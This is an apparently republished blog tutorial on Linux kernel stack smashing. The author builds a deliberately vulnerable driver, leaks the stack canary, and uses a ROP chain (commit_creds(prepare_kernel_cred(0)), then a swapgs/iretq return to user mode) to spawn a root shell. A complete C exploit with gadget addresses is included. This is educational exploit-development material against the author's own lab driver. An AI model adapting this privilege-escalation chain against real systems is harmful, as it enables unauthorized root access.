Linux Kernel Stack Smashing

栏目: IT技术 · 发布时间: 4年前

In this blog post I’ll discuss how to exploit the Linux kernel via a stack smashing attack. I’ll be attacking the latest kernel version. I’ll also introduce a vulnerable device driver that I wrote so that I can focus on the exploitation development and not the vulnerability research. 

A number of mitigations were introduced in recent years, such as Kernel Page Table Isolation and control register pinning, which makes some previous techniques obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc and gain a rootshell.

An overview of the attack

The attack can be split up into a number of stages:

·         Defeat KASLR

·         Leak the stack canary

·         Stack smash and overwrite the canary and return address to trigger a ROP chain

·         ROP to change the current creds to UID 0

·         ROP into the code that returns from a system call and continues execution in user space

·         Continue execution in user space and exec a shell now running at UID 0

It’s hard to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit. That is, we don’t have to disable SMEP/SMAP for the above exploit to work.

The vulnerable device driver

I’m going to provide primitives for leaking the stack canary in my vulnerable device driver. The way I do this is by providing an IOCTL to the device I create.

        const char *device_name = "/dev/vuln_device";

        unsigned long canary;

        int fd;

        fd = open(device_name, O_RDWR);

        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

                fprintf(stderr, "error: ioctl\n");

                exit(1);

        }

        canary = arg.value;

I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:

        static ssize_t arb_rw_write(struct file *filp,

const char __user *buf, size_t len, loff_t *off)

{

        char stack_buf[16];

        char *p;

        p = kmalloc(len, GFP_KERNEL);

        copy_from_user(p, buf, len);

        unsafe_memcpy(stack_buf, p, len);

        return len;

}

Exploitation

The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:

int main(int argc, char *argv[])

{

        struct arb_rw_arg_s arg = { 0, 0 };

        const char *device_name = "/dev/vuln_device";

        unsigned long canary;

        int fd;

        unsigned long ropchain[20];

        fd = open(device_name, O_RDWR);

        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

                fprintf(stderr, "error: ioctl\n");

                exit(1);

        }

        canary = arg.value;

        save_status(); // shown later

        printf("Canary: 0x%lx\n", canary);

        ropchain[0] = 0x4142434445464748;

        ropchain[1] = 0x4142434445464748;

        ropchain[2] = canary;

        ropchain[3] = 0x41;

        ropchain[4] = 0x41;

        ropchain[5] = 0x41;

        ropchain[6] = 0x41;

        ropchain[7] = pop_rdi; // return address

The address at ropchain[7] is the return address. This begins our ROP chain.

What we are going to use to privesc is the following code once the ROP chain is complete

        commit_creds(prepare_kernel_cred(0));

To find the address of these functions, I was using gdb on the kernel image (vmlinux). To build the ROP gadgets I ran ropper on the image. It took about 20G of memory and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with kernel debugging. It was essential to have a good debugging environment to single step through the ROP chain and debug what was going on.

To ROP the privesc code, we need the following. Note the gadget we use to move the return value of prepare_kernel_cred into the argument for commit_creds. On some kernel versions, this gadget isn’t directly available, so I’ve had to use other variants in the past.

unsigned long commit_creds = 0xffffffff810be110;

        unsigned long prepare_kernel_cred = 0xffffffff810be580;

// xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;

          ropchain[7] = pop_rdi;

        ropchain[8] = 0x0;

        ropchain[9] = prepare_kernel_cred;

        ropchain[10] = move_rax_to_rdi;

        ropchain[11] = commit_creds;

The remaining part of our ROP chain is to return execution in user mode. Let’s look at code in arch/x86/entry/entry_64.S

SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)

#ifdef CONFIG_DEBUG_ENTRY

        /* Assert that pt_regs indicates user mode. */

        testb    $3, CS(%rsp)

        jnz      1f

        ud2

1:

#endif

        POP_REGS pop_rdi=0

        /*

         * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.

         * Save old stack pointer and switch to trampoline stack.

         */

        movq     %rsp, %rdi

        movq     PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp

        /* Copy the IRET frame to the trampoline stack. */

        pushq    6*8(%rdi)        /* SS */

        pushq    5*8(%rdi)        /* RSP */

        pushq    4*8(%rdi)        /* EFLAGS */

        pushq    3*8(%rdi)        /* CS */

        pushq    2*8(%rdi)        /* RIP */

        /* Push user RDI on the trampoline stack. */

        pushq    (%rdi)

        /*

         * We are on the trampoline stack.   All regs except RDI are live.

         * We can do future final exit work right here.

          */

        STACKLEAK_ERASE_NOCLOBBER

        SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

        /* Restore RDI. */

        popq     %rdi

        SWAPGS

        INTERRUPT_RETURN

We are going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the appropriate code to handle kernel page table isolation and continue usermode code execution. In the following code we will set &shell to be the code which in usermode execs a shell.

Once we build the ROP chain we write our buffer to the device and the kernel stack is smashed and exploited.

ropchain[12] = iret_back_to_user_mode;

        ropchain[13] = 0x0; // user_rdi

        ropchain[14] = 0x0; // orig_eax

        ropchain[15] = (unsigned long)&shell;

        ropchain[16] = ucs;

        ropchain[17] = urflags;

        ropchain[18] = ursp;

        ropchain[19] = uss;

        write(fd, &ropchain[0], 20*sizeof(unsigned long));

        exit(1); // not reached

Conclusion

I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.

Appendix

The complete exploit is as follows:

#include

#include

#include

#include

#include

#include

#include

#include "vuln_driver.h"

static void

shell(void)

{

execl("/bin/bash", "/bin/bash", NULL);

}

static uint64_t ucs, uss, ursp, urflags;

static void

save_status(void)

{

asm volatile ("mov %cs, ucs");

asm volatile ("mov %ss, uss");

asm volatile ("mov %rsp, ursp");

asm volatile ("pushf");

asm volatile ("pop urflags");

}

unsigned long commit_creds = 0xffffffff810be110;

unsigned long prepare_kernel_cred = 0xffffffff810be580;

// 0xffffffff81c00aa7

unsigned long swapgs_iretq = 0xffffffff81c00a8a;

// 0xffffffff81918e14: xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// 0xffffffff812faf07: xor esi, esi; ret;

unsigned long xor_esi_esi = 0xffffffff812faf07;

// 0xffffffff81083470: pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;

int

main(int argc, char *argv[])

{

struct arb_rw_arg_s arg = { 0, 0 };

const char *device_name = "/dev/vuln_device";

unsigned long canary;

int fd;

unsigned long ropchain[20];

fd = open(device_name, O_RDWR);

if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

fprintf(stderr, "error: ioctl\n");

exit(1);

}

canary = arg.value;

save_status();

printf("Canary: 0x%lx\n", canary);

ropchain[0] = 0x4142434445464748;

ropchain[1] = 0x4142434445464748;

ropchain[2] = canary;

ropchain[3] = 0x41;

ropchain[4] = 0x41;

ropchain[5] = 0x41;

ropchain[6] = 0x41;

ropchain[7] = pop_rdi;

ropchain[8] = 0x0;

ropchain[9] = prepare_kernel_cred;

ropchain[10] = move_rax_to_rdi;

ropchain[11] = commit_creds;

ropchain[12] = swapgs_iretq;

ropchain[13] = 0x0; // user_rdi

ropchain[14] = 0x0; // orig_eax

ropchain[15] = (unsigned long)&shell;

ropchain[16] = ucs;

ropchain[17] = urflags;

ropchain[18] = ursp;

ropchain[19] = uss;

write(fd, &ropchain[0], 20*sizeof(unsigned long));

exit(1);

}

 

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C#图解教程

C#图解教程

索利斯 / 苏林、朱晔 / 人民邮电出版社 / 2009-1 / 65.00元

本书是一本广受赞誉的C# 教程。它以图文并茂的形式,用朴实简洁的文字,并辅之以大量表格和代码示例,精炼而全面地阐述了最新版C# 语言的各种特性,使读者能够快速理解、学习和使用C#。同时, 本书还讲解了C#与VB 、C++ 等主流语言的不同点和相似之处。 本书是一本经典的C# 入门书,不仅适合没有任何编程语言基础的初级读者,而且还是有VB 、C++ 等语言基础的C# 初学者的最佳选择。一起来看看 《C#图解教程》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具